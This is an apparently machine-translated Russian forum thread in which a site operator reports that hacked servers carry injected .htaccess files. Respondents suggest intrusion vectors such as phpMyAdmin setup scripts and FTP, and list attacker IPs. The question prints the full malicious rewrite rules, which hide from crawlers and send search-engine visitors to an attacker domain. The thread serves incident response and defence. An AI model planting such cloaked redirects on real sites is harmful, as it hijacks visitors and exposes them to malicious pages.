Сайт скомпрометирован .htaccess файлов

Некоторые из сайтов, которые мы размещаем, скомпрометированы ... Я не знаю, что. Каждый каталог на веб-сервере содержит файл .htaccess, который перенаправляет пользователя, поступающего из поисковой системы, на страницу, которая даже не существует - см. Файл .htaccess ниже.

Проблема впервые появилась 10 декабря 2010 года и распространяется с тех пор. Это повлияло на 8 серверов на трех разных хостинг-провайдерах.

Я нашел некоторые ссылки в Google для похожих проблемы , но никаких объяснений относительно того, что происходит. Решение очень просто: просто удалите файл, но это не то, что мне нужно. URL-адрес перенаправления, по-видимому, различен для каждого зараженного домена, вот список:

  • indanetwall.net
  • checkforsec.com
  • trackallnet.com
  • bonusforall.net
  • searchforallweb.com
  • sslabssys.com

Google-поиск по ним приводит к появлению большего количества людей, сообщивших тот же самый проблема , используя всевозможные различные системы.

По-видимому, это не имело ничего общего с конкретным сервером или конкретной конфигурацией сервера. Все последние обновления были установлены для ОС и установлены CMS-системы. Это также повлияло на серверы без какой-либо установленной CMS, поэтому мы не могли поставить там вину.

Мы не знаем, как файлы попали туда, но не через ftp. В итоге мы изменили все пароли для учетных записей ftp, учетной записи хостинг-провайдера, баз данных и т. Д.

Мы провели тщательную проверку всех серверов и локальной сети, но ничего там не нашли. Итак, окончательный вывод состоит в том, что кто-то каким-то образом завладел кучей паролей для доступа к нашим системам.

К счастью, они не нанесли никакого «реального» ущерба, и в итоге это было не более, чем большая досада ... Но это могло быть намного хуже.

Файл htaccess выглядит следующим образом:

# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fcuk\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS}            ^off$
RewriteRule ^(.*)$   http://searchforallweb.com/cgi-bin/r.cgi?p=9004&i=138ee363&j=315&m=c1ca5d58dda23245366719cd597ac0d5&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
# exgocgkctswo

Кто-нибудь сталкивался с подобными проблемами? Кто-нибудь знает, что это такое и как мы можем его остановить?

5 голосов | спросил Steven K. 14 TueEurope/Moscow2010-12-14T20:34:48+03:00Europe/Moscow12bEurope/MoscowTue, 14 Dec 2010 20:34:48 +0300 2010, 20:34:48

5 ответов


2

Если вы заметили это «у нескольких хостинг-провайдеров», я бы подумал, что это очень вероятно, что-то связано с сайтом на вашем сервере (серверах), который не должен работать с самим сервером, если только вы не передадите определенные файлы конфигурации новым хостинг-провайдерам и т.д.?

Если бы я был вами, я бы применял изменения пароля, кто-то получил доступ к вашему серверу или каталогам, которые они не должны иметь?!

Как насчет загрузки форм? Кто-нибудь использует плохо защищенный без ограничений на загрузку файлов? FTP, есть ли у кого доступ, который не должен, могут ли люди получить доступ к ним больше, чем им нужно?

Как я уже сказал, я буду делать изменения в пароле, а также делать обновления на любых cms, которые вы могли бы запустить там, например. Joomla и т. Д. Существуют исправления известных проблем безопасности.

Надеюсь, что это было хотя бы немного полезно:)

ответил Mac 14 TueEurope/Moscow2010-12-14T21:53:54+03:00Europe/Moscow12bEurope/MoscowTue, 14 Dec 2010 21:53:54 +0300 2010, 21:53:54
3

Мне пришлось решить ту же проблему для нескольких клиентов за последние 2 месяца. Хотя в журналах было немного, я заметил несколько вещей:

  • Все машины были серверами Windows
  • На всех машинах установлен phpmyadmin
  • Все установки phpmyadmin все еще имеют доступ к скриптам установки
  • Все машины имели записи журнала, пытающиеся что-то сделать с этим сценарием установки менее чем на час раньше, чем временная метка .htaccess
  • Все машины запускали серверное приложение (как IIS, так и Apache) как пользователь SYSTEM.

Итак, помимо очистки беспорядка и восстановления исходных файлов .htaccess, я сделал следующее:

  • удалить ненужные сценарии настройки
  • запустить Apache как отдельного пользователя К сожалению, я лучше с Linux, чем с Windows, поэтому я не знаю, может ли IIS работать как ограниченный пользователь ...

Рядом с этим я советую людям запускать webservers в Linux с помощью apache-mpm-itk или другого трюка для запуска apache в качестве пользователя, которому принадлежит сайт; каждый сайт - это собственный пользователь, а не одно разрешение для группы или других пользователей. Если вам действительно не нужна Windows для вашего сайта, конечно ...

ответил 13 Jpm1000000pmThu, 13 Jan 2011 19:36:14 +030011 2011, 19:36:14
2

На самом деле нет простого объяснения того, что вызвало это, не зная намного больше о вашей конфигурации сервера и о том, что у вас есть.

На первый взгляд похоже, что на вашем сервере есть уязвимость, которая позволяла кому-то загружать вредоносный код, - но опять же, не зная, что на вашем сервере, трудно сказать, откуда эта уязвимость могла возникнуть.

ответил 14 TueEurope/Moscow2010-12-14T20:42:14+03:00Europe/Moscow12bEurope/MoscowTue, 14 Dec 2010 20:42:14 +0300 2010, 20:42:14
1

Вам нужно проверить дату загрузки файлов, а затем просмотреть журналы FTP и HTTP. Вероятно, вы разрешили загрузку файлов через какой-либо скрипт, не дезинфицируя свои входы для каталога в поперечном режиме, или у вас есть программа, работающая либо по запросу, либо по времени, в результате чего эти файлы удаляются.

Если это общий хост, ваш хост может быть взломан, и они, вероятно, неправильно настроили свои ресурсы, чтобы не допускать таких вещей. Один из других «клиентов» использует сервер.

ответил Incognito 14 TueEurope/Moscow2010-12-14T22:03:11+03:00Europe/Moscow12bEurope/MoscowTue, 14 Dec 2010 22:03:11 +0300 2010, 22:03:11
1

У меня был такой же взлом на FTP-сервере с примерно дюжиной учетных записей FTP.

Хак, безусловно, был сделан через FTP, только на одной из учетных записей. Эта учетная запись FTP не для веб-сайта, поэтому файлы .htaccess бесполезны там.

Поиск IPS через все старые файлы журналов в резервных копиях не отображал никаких других файлов, кроме журналов ftp-сервера. Если кто-то найдет это полезным, это даты и IP-адреса .htaccess uploads:

2010-11-06 : 212.117.165.214
2010-11-26 : 188.72.213.38
2010-12-10 : 188.72.213.38
2010-12-21 : 188.72.201.27
2011-01-01 : 173.236.69.60
2011-01-11 : 173.236.69.45
2011-01-27 : 94.100.17.177
2011-02-05 : 94.100.17.177
2011-02-19 : 94.100.17.157
2011-02-20 : 94.100.17.157
2011-02-21 : 94.100.17.157
2011-03-01 : 69.172.130.209
2011-03-05 : 174.36.82.151-static.reverse.softlayer.com
2011-03-10 : baltimore.newsintegrated.com
ответил 4 J000000Monday11 2011, 23:02:29

Похожие вопросы

Популярные теги

security × 330linux × 316macos × 2827 × 268performance × 244command-line × 241sql-server × 235joomla-3.x × 222java × 189c++ × 186windows × 180cisco × 168bash × 158c# × 142gmail × 139arduino-uno × 139javascript × 134ssh × 133seo × 132mysql × 132